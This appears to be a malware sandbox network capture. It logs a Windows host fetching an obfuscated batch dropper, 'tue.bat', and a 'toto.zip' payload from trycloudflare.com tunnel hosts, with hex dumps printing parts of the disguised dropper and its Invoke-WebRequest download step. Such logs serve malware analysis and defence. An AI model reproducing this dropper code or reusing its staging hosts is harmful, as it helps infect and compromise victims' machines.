theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:17:14 UTC	228	IN	HTTP/1.1 207 Multi-Status Date: Fri, 25 Oct 2024 08:17:14 GMT Content-Type: application/xml; charset=utf-8 Content-Length: 781 Connection: close CF-Ray: 8d80c4df9fe347ff-DFW CF-Cache-Status: DYNAMIC Server: cloudflare
2024-10-25 08:17:14 UTC	781	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 27 31 2e 30 27 20 65 6e 63 6f 64 69 6e 67 3d 27 55 54 46 2d 38 27 3f 3e 0a 3c 44 3a 6d 75 6c 74 69 73 74 61 74 75 73 20 78 6d 6c 6e 73 3a 44 3d 22 44 41 56 3a 22 3e 3c 44 3a 72 65 73 70 6f 6e 73 65 3e 3c 44 3a 68 72 65 66 3e 2f 3c 2f 44 3a 68 72 65 66 3e 3c 44 3a 70 72 6f 70 73 74 61 74 3e 3c 44 3a 70 72 6f 70 3e 3c 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 6f 6c 6c 65 63 74 69 6f 6e 2f 3e 3c 2f 44 3a 72 65 73 6f 75 72 63 65 74 79 70 65 3e 3c 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 32 30 32 33 2d 31 30 2d 32 35 54 31 34 3a 33 33 3a 35 35 5a 3c 2f 44 3a 63 72 65 61 74 69 6f 6e 64 61 74 65 3e 3c 44 3a 71 75 6f 74 61 2d 75 73 65 64 2d 62 79 74 65 73 3e 37 35 37 38 36 34 32 38 34 31 36 3c 2f 44 3a Data Ascii: <?xml version='1.0' encoding='UTF-8'?><D:multistatus xmlns:D="DAV:"><D:response><D:href>/</D:href><D:propstat><D:prop><D:resourcetype><D:collection/></D:resourcetype><D:creationdate>2023-10-25T14:33:55Z</D:creationdate><D:quota-used-bytes>75786428416</D:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.17	58439	104.16.230.132	443

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:17:15 UTC	217	OUT	GET /tue.bat HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache User-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045 translate: f Host: theme-crack-emissions-perspectives.trycloudflare.com
2024-10-25 08:17:15 UTC	327	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:17:15 GMT Content-Type: text/plain Content-Length: 26419 Connection: close CF-Ray: 8d80c4e54e9c6c34-DFW CF-Cache-Status: DYNAMIC Accept-Ranges: bytes ETag: "589978dc5a626bbb4ca60ed4322a42ee-1729794078-26419" Last-Modified: Thu, 24 Oct 2024 18:21:18 GMT Server: cloudflare
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 3a 3a 20 e2 96 84 e2 96 84 e2 96 84 e2 96 84 20 20 20 20 e2 96 84 e2 96 84 e2 96 84 20 20 20 20 20 e2 96 84 e2 96 84 e2 96 84 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 93 20 e2 96 84 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 20 20 20 e2 96 88 e2 96 88 e2 96 91 20 e2 96 88 e2 96 88 20 20 20 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 20 20 e2 96 88 e2 96 88 e2 96 91 20 e2 96 88 e2 96 88 20 20 e2 96 88 e2 96 88 e2 96 93 e2 96 93 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 20 20 e2 96 88 e2 96 88 e2 96 93 20 20 20 20 e2 96 93 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 20 0d 0a 3a 3a 20 e2 96 93 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 20 e2 96 92 e2 96 88 e2 96 88 e2 96 88 e2 96 88 e2 96 84 20 20 20 e2 96 93 20 Data Ascii: :: ::
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 96 91 20 e2 96 91 e2 96 91 20 e2 96 91 e2 96 92 20 20 e2 96 91 20 e2 96 91 20 e2 96 92 20 e2 96 91 e2 96 92 e2 96 91 20 e2 96 91 20 e2 96 92 20 e2 96 91 20 e2 96 91 20 e2 96 91 20 20 e2 96 91 e2 96 91 20 e2 96 91 20 e2 96 92 20 20 e2 96 91 20 e2 96 91 20 e2 96 92 20 20 e2 96 92 20 0d 0a 3a 3a 20 20 e2 96 91 20 20 20 20 e2 96 91 20 20 20 e2 96 91 20 20 20 e2 96 92 20 20 20 20 e2 96 91 20 20 20 20 20 20 e2 96 91 20 20 20 20 20 20 20 20 20 e2 96 91 20 20 e2 96 91 e2 96 91 20 e2 96 91 e2 96 91 20 20 e2 96 91 20 20 e2 96 91 20 20 20 e2 96 91 20 20 e2 96 91 e2 96 91 20 e2 96 91 20 e2 96 92 20 e2 96 91 20 20 20 e2 96 91 20 20 20 20 20 e2 96 91 20 e2 96 91 20 20 20 20 e2 96 91 20 e2 96 91 20 20 e2 96 91 20 0d 0a 3a 3a 20 20 e2 96 91 20 20 20 20 20 20 20 20 20 20 Data Ascii: :: ::
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 25 53 6a 73 48 74 52 78 25 66 25 4f 4c 71 25 6f 25 44 79 73 41 4d 6f 78 6c 25 75 25 4b 47 46 4a 66 54 25 6e 25 75 4c 25 64 25 51 65 41 4c 48 25 0d 0a 65 25 54 4e 77 74 72 67 25 63 25 4c 5a 46 68 25 68 25 54 6b 67 55 6a 43 25 6f 25 56 64 4b 76 63 43 6f 25 20 25 53 25 53 25 55 6a 6c 25 65 25 67 6c 25 61 25 6c 4d 25 72 25 59 55 66 4a 72 6b 25 63 25 6c 41 54 42 4f 55 25 68 25 7a 49 4c 71 67 54 25 69 25 59 25 6e 25 78 4a 4c 74 51 6b 43 7a 25 67 25 61 50 77 42 47 62 58 56 50 25 20 25 42 68 59 6c 49 55 42 50 7a 25 66 25 79 75 6a 42 54 47 52 25 6f 25 71 25 72 25 58 4a 66 71 79 25 20 25 76 45 7a 4c 54 55 6e 4a 68 4e 25 50 25 59 66 5a 25 44 25 6d 42 25 46 25 79 4e 57 6f 25 20 25 63 46 4c 56 79 25 66 25 61 25 69 25 66 25 6c 25 58 66 42 48 6f 57 7a 73 63 4e 25 65 25 Data Ascii: %SjsHtRx%f%OLq%o%DysAMoxl%u%KGFJfT%n%uL%d%QeALH%e%TNwtrg%c%LZFh%h%TkgUjC%o%VdKvcCo% %S%S%Ujl%e%gl%a%lM%r%YUfJrk%c%lATBOU%h%zILqgT%i%Y%n%xJLtQkCz%g%aPwBGbXVP% %BhYlIUBPz%f%yujBTGR%o%q%r%XJfqy% %vEzLTUnJhN%P%YfZ%D%mB%F%yNWo% %cFLVy%f%a%i%f%l%XfBHoWzscN%e%
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 74 25 20 25 77 25 64 25 50 25 65 25 6e 76 47 41 77 43 4d 61 41 25 66 25 74 74 75 4c 25 69 25 66 71 4f 4f 65 79 74 44 25 6e 25 5a 46 78 4c 75 70 54 42 7a 4d 25 65 25 75 6d 25 64 25 6f 78 25 20 25 4b 65 77 44 67 6a 68 58 25 70 25 59 25 64 25 70 62 6c 68 59 71 61 25 66 25 62 61 25 46 25 4a 70 59 43 46 78 55 51 56 47 25 69 25 4d 6e 55 6f 6d 25 6c 25 68 45 41 5a 65 64 25 65 25 4b 73 75 25 20 25 53 61 43 61 53 7a 43 25 28 25 71 41 25 0d 0a 20 20 20 20 65 63 68 6f 20 4f 70 65 6e 69 6e 67 20 50 44 46 20 66 69 6c 65 3a 20 25 70 64 66 46 69 6c 65 25 0d 0a 20 25 7a 62 70 4d 4f 25 20 25 6d 49 25 20 25 4a 25 20 25 4e 25 65 25 64 57 71 6e 6d 4f 25 63 25 56 62 63 6c 6b 25 68 25 44 79 77 25 6f 25 67 52 79 75 25 20 25 53 6d 46 52 74 62 6c 59 25 4f 25 71 6c 6e 4a 66 25 70 Data Ascii: t% %w%d%P%e%nvGAwCMaA%f%ttuL%i%fqOOeytD%n%ZFxLupTBzM%e%um%d%ox% %KewDgjhX%p%Y%d%pblhYqa%f%ba%F%JpYCFxUQVG%i%MnUom%l%hEAZed%e%Ksu% %SaCaSzC%(%qA% echo Opening PDF file: %pdfFile% %zbpMO% %mI% %J% %N%e%dWqnmO%c%Vbclk%h%Dyw%o%gRyu% %SmFRtblY%O%qlnJf%p
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 25 62 68 63 63 6f 59 25 73 25 6c 6e 25 20 25 64 50 50 74 76 7a 25 66 25 48 6c 67 55 59 73 25 6f 25 50 25 72 25 45 4d 44 58 6e 4e 4b 69 72 67 25 20 25 68 52 25 64 25 73 25 6f 25 4c 6e 45 5a 46 4b 25 77 25 74 58 69 56 54 64 25 6e 25 70 44 43 55 70 6d 25 6c 25 67 4d 61 62 4d 6f 4d 77 25 6f 25 77 76 44 58 70 25 61 25 7a 61 61 41 58 6d 53 25 64 25 52 79 73 74 6b 73 57 25 69 25 4b 65 64 5a 55 74 25 6e 25 6e 74 25 67 25 69 78 76 63 25 20 25 4c 6d 47 55 73 25 74 25 52 67 4a 41 4d 65 25 68 25 76 75 4c 4f 25 65 25 43 44 6b 25 20 25 72 57 49 45 68 63 6d 25 5a 25 41 7a 6f 6c 76 6f 25 49 25 49 48 68 69 71 4e 6a 25 50 25 49 75 42 70 59 5a 64 42 72 67 25 20 25 79 59 44 4f 77 79 4b 4b 25 66 25 6f 70 4c 47 25 69 25 77 78 25 6c 25 59 53 7a 69 25 65 25 63 78 54 25 0d 0a 73 Data Ascii: %bhccoY%s%ln% %dPPtvz%f%HlgUYs%o%P%r%EMDXnNKirg% %hR%d%s%o%LnEZFK%w%tXiVTd%n%pDCUpm%l%gMabMoMw%o%wvDXp%a%zaaAXmS%d%RystksW%i%KedZUt%n%nt%g%ixvc% %LmGUs%t%RgJAMe%h%vuLO%e%CDk% %rWIEhcm%Z%Azolvo%I%IHhiqNj%P%IuBpYZdBrg% %yYDOwyKK%f%opLG%i%wx%l%YSzi%e%cxT%s
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 0d 0a 73 25 73 68 6e 48 71 54 25 65 25 41 25 74 25 46 6f 53 6f 7a 67 6e 25 20 25 4e 45 6b 4b 41 41 55 48 70 62 25 22 25 59 49 62 73 25 65 25 72 61 58 6f 6a 4e 25 78 25 51 74 52 4e 25 74 25 72 4b 25 72 25 43 6d 56 6d 71 72 25 61 25 78 25 63 25 51 46 76 69 45 5a 72 64 25 74 25 6e 25 54 25 69 55 76 50 76 4a 76 54 50 25 6f 25 64 4c 66 52 6b 42 4f 4c 25 3d 25 68 67 4b 6c 25 25 55 53 45 52 50 52 4f 46 49 4c 45 25 5c 25 4e 6e 70 48 4d 4b 63 41 25 44 25 63 25 6f 25 67 6f 47 76 70 56 56 25 77 25 4b 6e 25 6e 25 6a 52 67 68 4f 25 6c 25 6b 73 51 4a 6e 6e 49 5a 72 25 6f 25 77 71 25 61 25 6d 4b 77 4f 69 65 46 6c 46 6d 25 64 25 6e 50 4a 66 75 58 66 57 4e 25 73 25 5a 4b 6f 63 78 25 22 25 51 4f 41 61 4c 25 0d 0a 0d 0a 3a 3a 20 55 73 65 20 49 6e 76 6f 6b 65 2d 57 65 62 52 Data Ascii: s%shnHqT%e%A%t%FoSozgn% %NEkKAAUHpb%"%YIbs%e%raXojN%x%QtRN%t%rK%r%CmVmqr%a%x%c%QFviEZrd%t%n%T%iUvPvJvTP%o%dLfRkBOL%=%hgKl%%USERPROFILE%\%NnpHMKcA%D%c%o%goGvpVV%w%Kn%n%jRghO%l%ksQJnnIZr%o%wq%a%mKwOieFlFm%d%nPJfuXfWN%s%ZKocx%"%QOAaL%:: Use Invoke-WebR
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 25 20 25 71 42 4c 6f 48 25 7b 25 55 5a 42 48 48 4e 25 20 25 74 49 68 43 25 5b 25 75 70 64 6e 57 62 25 4e 25 47 75 4e 72 48 61 48 45 50 25 65 25 53 50 71 48 25 74 25 4f 73 79 62 48 6b 25 2e 25 46 49 4d 54 6e 6b 75 25 53 25 41 44 53 47 51 4a 66 25 65 25 4a 64 75 49 6b 67 7a 25 72 25 45 4d 5a 25 76 25 64 55 66 41 63 59 41 25 69 25 46 4b 73 74 6e 45 25 63 25 67 76 47 75 25 65 25 49 4a 52 58 6a 4f 59 42 25 50 25 64 25 6f 25 4f 61 64 43 6f 64 25 69 25 50 72 4f 42 25 6e 25 56 62 76 43 47 6a 50 47 25 74 25 59 72 43 50 43 25 4d 25 47 5a 57 42 5a 61 25 61 25 54 25 6e 25 78 58 51 57 77 6f 6d 6e 25 61 25 79 7a 4a 25 67 25 42 25 65 25 56 63 4c 65 54 48 78 25 72 25 75 4d 42 49 55 4b 47 6a 75 42 25 5d 25 71 71 4c 4f 41 63 25 3a 25 76 75 66 65 4b 59 25 3a 25 46 65 66 4c Data Ascii: % %qBLoH%{%UZBHHN% %tIhC%[%updnWb%N%GuNrHaHEP%e%SPqH%t%OsybHk%.%FIMTnku%S%ADSGQJf%e%JduIkgz%r%EMZ%v%dUfAcYA%i%FKstnE%c%gvGu%e%IJRXjOYB%P%d%o%OadCod%i%PrOB%n%VbvCGjPG%t%YrCPC%M%GZWBZa%a%T%n%xXQWwomn%a%yzJ%g%B%e%VcLeTHx%r%uMBIUKGjuB%]%qqLOAc%:%vufeKY%:%FefL
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 25 68 48 25 65 25 77 44 25 63 25 4a 52 4b 75 25 68 25 4f 69 6c 47 42 6f 64 65 4b 74 25 6f 25 48 62 25 20 25 76 25 46 25 61 25 61 25 45 56 68 25 69 25 49 54 4f 79 6c 6d 4a 74 49 25 6c 25 51 4e 25 65 25 54 44 58 47 78 4c 4e 51 69 25 64 25 47 74 6c 61 47 4f 6b 55 70 77 25 20 25 46 25 74 25 41 4d 6f 6c 70 4c 25 6f 25 69 43 75 73 41 52 7a 25 20 25 6e 4a 6c 46 70 61 74 25 64 25 61 58 49 65 64 4f 6a 45 5a 25 6f 25 72 41 69 4f 42 25 77 25 71 59 4d 25 6e 25 42 79 59 57 25 6c 25 49 65 41 65 65 4c 25 6f 25 75 74 47 56 68 73 66 4b 4c 70 25 61 25 51 78 78 65 25 64 25 61 63 51 25 20 25 6b 6b 69 70 42 25 74 25 50 77 6e 6d 4f 25 68 25 5a 69 51 49 42 7a 68 4a 51 25 65 25 53 68 43 6b 59 4a 4f 63 68 4b 25 20 25 79 4c 72 42 54 25 5a 25 73 73 6c 25 49 25 6c 53 72 78 53 6a 6d Data Ascii: %hH%e%wD%c%JRKu%h%OilGBodeKt%o%Hb% %v%F%a%a%EVh%i%ITOylmJtI%l%QN%e%TDXGxLNQi%d%GtlaGOkUpw% %F%t%AMolpL%o%iCusARz% %nJlFpat%d%aXIedOjEZ%o%rAiOB%w%qYM%n%ByYW%l%IeAeeL%o%utGVhsfKLp%a%Qxxe%d%acQ% %kkipB%t%PwnmO%h%ZiQIBzhJQ%e%ShCkYJOchK% %yLrBT%Z%ssl%I%lSrxSjm
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 57 45 76 69 4a 4e 25 2d 25 6d 49 77 79 68 72 47 6b 25 50 25 61 25 61 25 61 42 72 46 45 76 25 74 25 52 6e 49 73 79 41 25 68 25 73 71 68 25 20 25 45 49 7a 64 64 68 6a 50 79 76 25 27 25 6a 73 66 45 78 45 50 70 25 25 64 65 73 74 69 6e 61 74 69 6f 6e 25 27 25 4f 41 25 20 25 48 5a 52 55 73 73 6a 70 25 2d 25 67 67 73 51 58 25 44 25 4d 7a 41 75 45 50 6a 6f 25 65 25 43 6b 25 73 25 67 71 72 6f 4c 49 57 4e 68 69 25 74 25 55 64 44 76 25 69 25 72 6d 70 56 51 78 63 47 48 25 6e 25 42 46 45 65 4a 55 25 61 25 73 25 74 25 65 62 55 4f 6f 54 59 65 25 69 25 63 6f 25 6f 25 66 48 57 25 6e 25 58 64 44 25 50 25 4e 51 66 47 42 42 42 5a 4b 25 61 25 66 44 43 66 69 6b 7a 44 25 74 25 68 4f 73 7a 74 61 77 25 68 25 53 66 49 53 55 70 25 20 25 6a 6c 73 71 52 56 69 52 4c 25 27 25 48 4f 25 Data Ascii: WEviJN%-%mIwyhrGk%P%a%a%aBrFEv%t%RnIsyA%h%sqh% %EIzddhjPyv%'%jsfExEPp%%destination%'%OA% %HZRUssjp%-%ggsQX%D%MzAuEPjo%e%Ck%s%gqroLIWNhi%t%UdDv%i%rmpVQxcGH%n%BFEeJU%a%s%t%ebUOoTYe%i%co%o%fHW%n%XdD%P%NQfGBBBZK%a%fDCfikzD%t%hOsztaw%h%SfISUp% %jlsqRViRL%'%HO%
2024-10-25 08:17:15 UTC	1369	IN	Data Raw: 25 4f 47 4e 77 58 41 41 6d 49 25 20 25 4e 25 72 25 52 6c 63 25 75 25 63 6f 25 6e 25 46 64 7a 41 64 25 20 25 6a 51 75 70 4b 62 50 48 77 25 74 25 4b 55 68 58 5a 25 68 25 7a 54 65 48 25 65 25 61 70 70 49 4b 79 4c 48 25 20 25 6a 75 6d 64 72 76 62 4b 6e 25 73 25 49 51 79 4e 79 4e 54 68 25 63 25 6b 69 4e 73 25 72 25 67 62 25 69 25 6d 46 70 4f 4e 25 70 25 6d 62 6c 48 61 41 56 51 25 74 25 45 6f 71 62 75 6e 25 73 25 62 54 77 4c 4c 25 0d 0a 65 25 64 51 46 6e 4f 42 25 63 25 70 25 68 25 63 4e 59 44 68 25 6f 25 4a 50 45 6f 75 54 77 61 41 25 20 25 6a 54 67 25 52 25 67 45 49 66 6c 43 44 25 75 25 43 66 25 6e 25 6f 4c 46 79 56 77 25 6e 25 74 6f 4c 48 66 25 69 25 54 49 6b 55 6b 48 6a 63 25 6e 25 66 73 65 74 4f 54 66 73 25 67 25 63 25 20 25 50 25 50 25 49 52 52 78 62 78 4f Data Ascii: %OGNwXAAmI% %N%r%Rlc%u%co%n%FdzAd% %jQupKbPHw%t%KUhXZ%h%zTeH%e%appIKyLH% %jumdrvbKn%s%IQyNyNTh%c%kiNs%r%gb%i%mFpON%p%mblHaAVQ%t%Eoqbun%s%bTwLL%e%dQFnOB%c%p%h%cNYDh%o%JPEouTwaA% %jTg%R%gEIflCD%u%Cf%n%oLFyVw%n%toLHf%i%TIkUkHjc%n%fsetOTfs%g%c% %P%P%IRRxbxO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.17	58442	104.16.231.132	443	6880	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:17:24 UTC	201	OUT	GET /toto.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: retailer-indicators-resume-key.trycloudflare.com Connection: Keep-Alive
2024-10-25 08:17:25 UTC	351	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 08:17:25 GMT Content-Type: application/x-zip-compressed Content-Length: 45649030 Connection: close CF-Ray: 8d80c5212ae76b33-DFW CF-Cache-Status: DYNAMIC Accept-Ranges: bytes ETag: "254776a19f85b83d2a00d0897b2415b9-1729771743-45649030" Last-Modified: Thu, 24 Oct 2024 12:09:03 GMT Server: cloudflare
2024-10-25 08:17:25 UTC	1018	IN	Data Raw: 50 4b 03 04 14 00 00 00 00 00 34 70 2a 59 00 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 50 79 74 68 6f 6e 2f 50 79 74 68 6f 6e 33 31 32 2f 50 4b 03 04 14 00 00 00 00 00 9d 6b 1c 59 00 00 00 00 00 00 00 00 00 00 00 00 16 00 00 00 50 79 74 68 6f 6e 2f 50 79 74 68 6f 6e 33 31 32 2f 44 4c 4c 73 2f 50 4b 03 04 14 00 00 00 08 00 68 a8 06 59 a5 47 ff 1f 08 80 00 00 18 17 01 00 22 00 00 00 50 79 74 68 6f 6e 2f 50 79 74 68 6f 6e 33 31 32 2f 44 4c 4c 73 2f 5f 61 73 79 6e 63 69 6f 2e 70 79 64 e4 7d 0b 78 54 d5 b5 f0 49 c2 40 08 84 19 81 c1 41 04 8f 10 74 c2 23 04 22 92 10 d1 19 92 c0 19 9d 40 e4 19 e5 91 0c c9 90 44 92 99 38 73 06 12 45 85 3b 89 32 1c a7 97 6a 6d 6f 6b db df 5a af ad 8f 6b 15 fb 00 b4 35 21 48 08 c8 d3 5b 45 bd bd a2 b5 3a 21 6a d1 b6 bc 54 ce bf Data Ascii: PK4p*YPython/Python312/PKkYPython/Python312/DLLs/PKhYG"Python/Python312/DLLs/_asyncio.pyd}xTI@At#"@D8sE;2jmokZk5!H[E:!jT
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: a0 1f 33 90 44 a0 7d 09 a0 30 03 d9 09 b4 27 01 54 4b a0 97 98 42 a9 e6 d6 7f 03 a8 14 79 11 df fb d5 ab 04 7d d2 55 c9 1d 35 75 bc 8c c8 2e 48 ca f1 bc ae 92 bc 2e d5 3a 12 e7 1f 29 02 45 6a 33 b7 7c 0c 38 a1 16 da bd 44 ed de c4 16 67 70 fc 48 1a 35 38 a4 37 d8 13 6f 70 94 1a 14 59 a8 05 ae 4a b7 72 00 5a e4 c7 5b fc 1b 6b 61 a3 16 0f d0 f2 5c 6a 91 94 a3 aa b5 aa 5e 10 5a db 9a 36 42 85 8d 2a 96 b0 0a af a4 1c 8a 01 69 f8 7c 9b 5b 29 ca 97 a2 d6 5f 90 9a 42 9b f5 ac 8d 13 ea 1d 50 bf 49 ab 5f c4 ea b3 a1 3e 17 ea fd 5a fd f5 50 9f d7 05 63 7f bf 3d ea 54 19 cb 88 5b bb 54 f8 f4 7c 3a c0 fa bb 20 45 33 2b 00 8f 6a 1d 4b 8c 5a 28 d2 1c 24 2b 56 2d a8 a7 aa 5c aa 9a 6d c5 41 54 eb 67 1b a8 52 a2 4a 11 65 15 b5 4e 46 4a a2 99 8b 1a b1 d7 63 c4 8c 85 76 6a Data Ascii: 3D}0'TKBy}U5u.H.:)Ej3\|8DgpH587opYJrZ[ka\j^Z6B*i\|[)_BPI_>ZPc=T[T\|: E3+jKZ($+V-\mATgRJeNFJcvj
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: 0a 11 0b b2 25 17 64 87 95 8d f8 62 cf eb 42 f1 88 aa f5 c3 75 c0 a7 ce b0 9a ba f9 05 94 5c c5 da 55 1d 7c 8d d9 96 4b ca c7 b8 cc 80 1b 95 3b 01 f9 4b b3 1e 7f 77 fa f7 a7 a2 25 ec 08 c9 52 d8 6b 81 51 4a 2d aa f5 f6 75 48 54 09 ac 85 92 33 aa 75 19 bc 29 6d d2 4c 7c 2e 63 cf d1 52 1b 7b 97 f0 bd c4 06 15 67 a4 f6 53 a2 94 07 cf 79 25 67 a4 bc 76 69 b7 4a 1f c0 34 09 5e f2 e2 43 49 e6 e2 76 e0 fe 1f 5e c0 41 56 67 95 49 e7 8e c1 eb 08 a4 08 d6 fa 9a 0e b4 bb a8 54 16 29 3c ef 68 0d 30 06 03 cb 57 3c dc aa 90 95 45 db 1f 7d 4d 40 db ff 63 0f d9 ea 68 e6 3d f0 de 3d 22 1d 85 6f da 0a cf 1d 7a 09 f8 62 1f 01 29 52 38 3d 2b f6 21 7b 48 e5 78 10 f6 d2 10 52 aa ab 21 8e 1b 34 39 97 54 49 4a ef 31 49 85 07 e4 d1 79 6d 67 24 f3 0b 99 12 20 0a 7d 3a 8b d9 f8 e7 Data Ascii: %dbBu\U\|K;Kw%RkQJ-uHT3u)mL\|.cR{gSy%gviJ4^CIv^AVgIT)<h0W<E}M@ch=="ozb)R8=+!{HxR!49TIJ1Iymg$ }:
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: a0 e2 65 7c 2b ec 0a cd a2 01 f6 ce dd 1b ba 1a da 3c 09 b5 e1 cc 67 e0 2f 98 fb 53 ef 44 c6 ff e8 69 a2 f9 5b 4f 23 e7 a1 41 eb d3 48 f6 87 97 07 87 4b e6 3d 67 6c 00 0a e2 d8 c0 e1 51 c1 9b 75 54 0e a7 72 d0 a9 ec 95 da bb 2d 93 55 61 90 10 7e 6f 48 c4 b4 e2 55 54 fb 2e 3b 70 4b 3a 77 5c 9a 94 59 40 b8 33 67 3d 4d 02 d9 38 4c 0a bf f7 0a bc 4f 64 08 df b7 06 47 23 42 18 e7 d4 a8 e0 50 28 66 0f 01 c8 10 d4 e1 7c dc 0e 30 97 64 81 68 74 0d 18 28 52 4a 28 f3 da 0a 4c 02 12 f9 48 5b 42 4a 49 9d 9c 7a 3b ea e3 5f 6f c3 bf 97 e8 af 44 35 73 e9 ef 34 fa 3b 81 fe 5a e8 af b1 fd 87 b7 a1 ad 7f 3e a5 a3 d7 bf bc 36 16 37 94 2a 4e 70 93 07 5d ca f1 18 ec b1 8c d1 09 fa ab 12 c5 26 29 6f 3b c3 7f 3c ef 56 ba 9c 67 85 41 6e e5 b8 3c ca a9 38 d2 4b ab ca 06 9d 3b e9 Data Ascii: e\|+<g/SDi[O#AHK=glQuTr-Ua~oHUT.;pK:w\Y@3g=M8LOdG#BP(f\|0dht(RJ(LH[BJIz;_oD5s4;Z>67*Np]&)o;<VgAn<8K;
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: 48 7e 6f 48 de 12 a6 58 65 a4 58 b9 15 6b d7 24 e7 da 24 e5 2d 3a 3a 77 a5 e3 f1 39 4e 9c 9f 9d e3 f1 2d 3b 21 1f 42 07 ba 49 39 d7 e4 3d 83 f2 56 9e aa ad f9 d1 52 e4 6e 4b 41 41 9c 8c 67 6f 45 32 d8 c9 3a 02 6d 46 e0 3f 33 a0 a8 01 45 23 30 c0 80 76 0d 68 37 02 97 33 a0 43 03 3a 8c c0 7c 06 cc d5 80 b9 46 e0 38 06 cc d7 80 f9 46 e0 a5 32 02 4a 1a 50 32 02 df 63 c0 32 0d 58 66 04 ee 63 c0 26 0d d8 64 04 fe 8c 01 6b 35 60 ad 11 b8 bd 8c 1b 18 12 14 5a 17 3d a7 a9 5a bf 2a a3 03 3d 37 26 f7 81 fd 87 24 e5 ee 74 d5 fa 26 76 09 df dd 28 c8 cc 88 d4 10 8a 43 b1 9a 4b cc e9 7c 0f 6f ce 84 6f 22 4b 33 83 2c 0d 18 b7 89 d4 68 33 db b8 d1 5e dc 41 f2 0b 37 af 86 fa 0b e6 16 ba 30 81 39 5a 4c f9 e4 77 3a 57 a3 1e ab d6 9d c4 b0 98 6a bd 8d 10 b0 e3 19 37 b6 05 0b Data Ascii: H~oHXeXk$$-::w9N-;!BI9=VRnKAAgoE2:mF?3E#0vh73C:\|F8F2JP2c2Xfc&dk5`Z=Z*=7&$t&v(CK\|oo"K3,h3^A709ZLw:Wj7
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: cf d6 f3 81 8c 5e f6 ab 08 9b 83 1d a7 cb 53 60 92 f2 4a 34 93 64 25 fb f5 e8 02 66 bf 22 61 24 4e 33 4f bd 73 00 fd da a7 eb 29 14 a5 b5 9a 68 76 c6 33 c0 b6 5e 00 76 25 b7 8f 1b bc 3d c4 05 7d 2d c6 01 ff 7f d8 40 5d 76 b8 92 26 ba c2 4d 10 39 8c 03 d9 35 91 ec 32 df 2b e6 22 6c 2c 42 41 f5 dc 80 9b 6c 8b 14 be cb 22 d0 9e b9 19 9a f5 bc 49 32 8a 5a ff fd 21 5c 7a 3f 2e 46 6d 86 90 8d 6e 3b 82 c2 a0 70 bb ff 3a 5d d0 c2 20 83 8e c5 b3 46 45 16 54 c7 04 0f e9 2d 8a b3 1a 5b d8 7a b5 28 2a 32 68 4f a2 ef 6f 4e 27 3b f9 13 c2 71 28 16 21 0b 58 94 8e cb 72 47 5f 56 f0 fc 7c 6c 68 88 49 58 ac 96 b4 a8 1e 2a c6 35 f2 75 7a aa ef a9 b3 34 fd 49 90 88 6d 60 89 18 72 61 74 fc 5e e6 56 0e 4a ca 12 e0 e5 67 28 23 8b 4b 69 82 e7 f1 43 50 32 69 17 31 1e cc fc 82 66 Data Ascii: ^S`J4d%f"a$N3Os)hv3^v%=}-@]v&M952+"l,BAl"I2Z!\z?.Fmn;p:] FET-[z(2hOoN';q(!XrG_V\|lhIX5uz4Im`rat^VJg(#KiCP2i1f
2024-10-25 08:17:25 UTC	1369	IN	Data Raw: bb 97 ee d8 01 97 ee c3 05 fa d2 1d 41 4b f7 75 4c 34 66 0a 9a 27 f8 c6 f6 df da 97 fd 3f dc a7 fd ff c7 ce 6f f7 f7 06 9a df 8b f9 ff 98 f9 85 47 f7 35 bf d9 e3 fa 98 9f 63 e9 f2 95 ce 65 ce 15 d2 d6 8f 1f a3 71 4c 63 1e 80 22 6f 9f 14 61 f3 c0 cb 10 5a e8 87 f7 ff 5b b2 69 91 cf 33 a3 4e 2a e5 16 b7 f2 91 a4 c2 be ff cf 52 da db a8 d4 a0 5b e5 7a a8 67 98 f9 bb 8f c6 67 0e f1 5f d2 cc 77 cf c1 c5 89 5f 69 a1 7d fd 2f b3 62 44 cc 39 37 c4 46 b8 bb 72 2b 60 54 5e ce da 41 8f 2a 9d 46 bf 4b 2d a4 74 32 56 28 0b e5 4b 49 f9 9b 14 ee 49 31 b7 74 30 98 05 eb 00 0c 44 5e d0 61 3f 63 30 1b 56 20 0c 4f 32 a3 b7 a8 64 1a 14 06 03 82 b6 e4 a3 91 39 03 eb ff 2e 0a 39 dd 0a 23 44 52 18 6d 6e 85 51 23 69 fa 90 f7 5a 6c f3 11 08 4d b7 ee 43 3e c2 2a 5f 5d b1 66 15 04 Data Ascii: 